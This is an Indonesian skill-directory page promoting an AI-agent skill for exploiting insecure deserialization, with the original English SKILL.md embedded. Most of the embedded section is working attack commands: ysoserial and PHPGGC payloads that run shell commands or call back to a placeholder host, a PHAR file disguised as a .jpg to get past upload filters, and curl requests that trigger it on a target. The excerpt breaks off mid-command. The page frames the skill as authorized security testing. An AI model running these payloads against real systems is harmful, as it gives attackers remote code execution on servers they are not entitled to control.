Langsung ke konten
Skillpedia
Keamanan6.5k Β· #14059

exploit-deserialization

Fungsinya

Skill ini memandu agent menguji apakah aplikasi mengubah data masuk kembali menjadi objek secara tidak aman. Skill ini untuk penguji keamanan yang bekerja pada target resmi atau tantangan latihan.

Kapan dipakai

  • βœ“Saat sebuah aplikasi mengirim data yang diserialisasi di cookie, kolom formulir, atau permintaan API dan Anda ingin memeriksanya.
  • βœ“Saat sebuah pemindaian menunjuk penanganan data serialisasi Java, PHP, .NET, atau pickle Python.
  • βœ“Saat sebuah tinjauan keamanan menanyakan apakah data objek yang tidak tepercaya bisa menjalankan kode.

Link skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œBisakah Anda memeriksa apakah cookie sesi di aplikasi Java saya diserialisasi secara tidak aman?”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent mengidentifikasi format data dan pustaka yang dipakai, lalu menguji pola yang sudah diketahui yang bisa membuat server menjalankan kode yang tidak dimaksudkan.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

Insecure Deserialization

Exploits applications that deserialize untrusted data, achieving Remote Code Execution (RCE) by crafting malicious serialized objects that trigger gadget chains.

Auth-Cookie Checkpoint (Before Declaring a Blind Sink Unreachable)

Blind deserialization sinks frequently appear "unreachable" only because the request lacks a session cookie that gates the deserialize path (auth_tier, role flag, CSRF-bound session). Before concluding the sink is wrong:

  1. Re-check session cookies. Enumerate every cookie the app sets across anon, low-priv, and high-priv sessions. Read recon_notes.md for the "Sink preconditions" table and "Required session state" line.
  2. If recon did not enumerate cookie-gating (no preconditions table, no session-state line in handoff): bisect cookies yourself. Replay the payload with the FULL authenticated jar, then drop one cookie at a time until the sink behavior changes. The cookie whose removal silences the sink is the gating cookie.
  3. Replay with the gating cookie attached before concluding the chain or gadget is wrong.
  4. Only then consider sink-side causes (wrong gadget, wrong serialization format, length filter, allowlist).

Skipping this checkpoint is the most common false-negative pattern: the gadget chain was correct all along, but the request was unauthenticated and silently 302'd to login.

Identifying Deserialization Points

  • Java: Base64-encoded blobs starting with rO0AB (raw) or aced0005 (hex), Content-Type: application/x-java-serialized-object
  • PHP: Strings matching O:[0-9]+:" or a:[0-9]+:{, cookies/parameters with serialized data
  • .NET: VIEWSTATE parameter, Content-Type: application/soap+xml, __VIEWSTATE field
  • Python: Base64-encoded pickle data, application/x-python-pickle

Java β€” ysoserial

# Generate payload (common chains: CommonsCollections1-7, Spring1, Groovy1, Hibernate1)
java -jar ysoserial.jar CommonsCollections5 'curl http://<CALLBACK>/rce' > payload_cc1.bin
java -jar ysoserial.jar CommonsCollections5 'curl http://<CALLBACK>/rce' | base64 -w0 > payload_cc1_b64.txt
# CC5 β†’ Collections 3.2.1 | CC6 β†’ Collections 3.2.2+ | CC2,4 β†’ Collections 4.0

# Inject via curl
curl -s 'https://<TARGET>/api/endpoint' -H 'Content-Type: application/x-java-serialized-object' --data-binary @payload_cc1.bin -o deser_response.txt

PHP β€” PHPGGC

# Generate payload (chains: Laravel/RCE1-10, Symfony/RCE1-7, Guzzle/RCE1, Monolog/RCE1-7)
phpggc Laravel/RCE1 system 'id' -b > php_payload.txt
phpggc Laravel/RCE1 system 'id' -b | base64 -w0 > php_payload_b64.txt

PHP PHAR deserialization via file upload β€” the wrapper-triggered chain

When a target accepts file uploads AND any code path later passes a user-controlled filename through a PHP file function that ACCEPTS STREAM WRAPPERS (file_exists, file_get_contents, fopen, getimagesize, is_file, filesize, stat, md5_file, sha1_file, unlink, imagecreatefromjpeg/png/gif, etc.), uploading a PHAR file and referencing it via the phar:// wrapper triggers automatic deserialization of the PHAR's metadata β€” no unserialize() call required on the server side.

Pre-conditions: upload accepted (any extension β€” .jpg, .gif, .pdf, .phar, .txt all work because PHAR detection is content-based via signature, not extension); and at least one server-side path that resolves a user-influenced filename through a stream-wrapper-aware function.

# 1. Build PHAR with malicious metadata using phpggc (-p phar / --phar)
phpggc -p phar -o exploit.phar Monolog/RCE6 system 'id > /tmp/pwn'

# 2. Rename to a permitted upload extension so the upload filter accepts it
mv exploit.phar exploit.jpg

# 3. Upload via the app's upload endpoint
curl -s -X POST 'https://<TARGET>/upload' \
  -F 'file=@exploit.jpg' -b "$COOKIE_JAR" -o upload_resp.txt
head -20 upload_resp.txt   # extract the resulting filename/path

# 4. Trigger via any phar:// referencing endpoint
# Common surfaces: image processing, file-existence check, profile-image setter,
# avatar URL, attachment preview, report-export filename, log-viewer path.
curl -s "https://<TARGET>/preview?file=phar:///var/www/uploads/exploit.jpg" -o trigger.txt
curl -s "https://<TARGET>/avatar?path=phar:///var/www/uploads/exploit.jpg/test.txt" -o trigger2.txt

# 5. Verify execution via the chain's side-effect (file write, HTTP callback, DNS)
curl -s "https://<TARGET>/uploads/exploit.jpg.log" 2>/de
Pertanyaan umum

Bahasa apa saja yang dicakup?

Java, PHP, .NET, dan pickle Python.

Mengapa cookie login diperiksa lebih dulu?

Skill ini memperingatkan bahwa sebuah titik data bisa tampak tidak dapat dijangkau hanya karena permintaan tidak menyertakan cookie sesi yang membukanya.

Apakah ini skill yang hanya untuk pengujian?

Ini adalah skill pengujian keamanan dan hanya boleh dipakai pada sistem yang Anda punya izin untuk mengujinya.

Detail

Deskripsi asli dari pembuat

Insecure deserialization β€” RCE via malicious serialized objects in Java (ysoserial), PHP (PHPGGC), .NET (ysoserial.net), and Python (pickle). Covers gadget chain selection, payload generation, and injection into cookies, POST bodies, ViewState, and API endpoints.

repo: BitterSecurity/Decepticon

Popularitas

Bintang GitHub
6.5k
Peringkat
#14059
Lisensi
Apache-2.0
Diperbarui
1/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa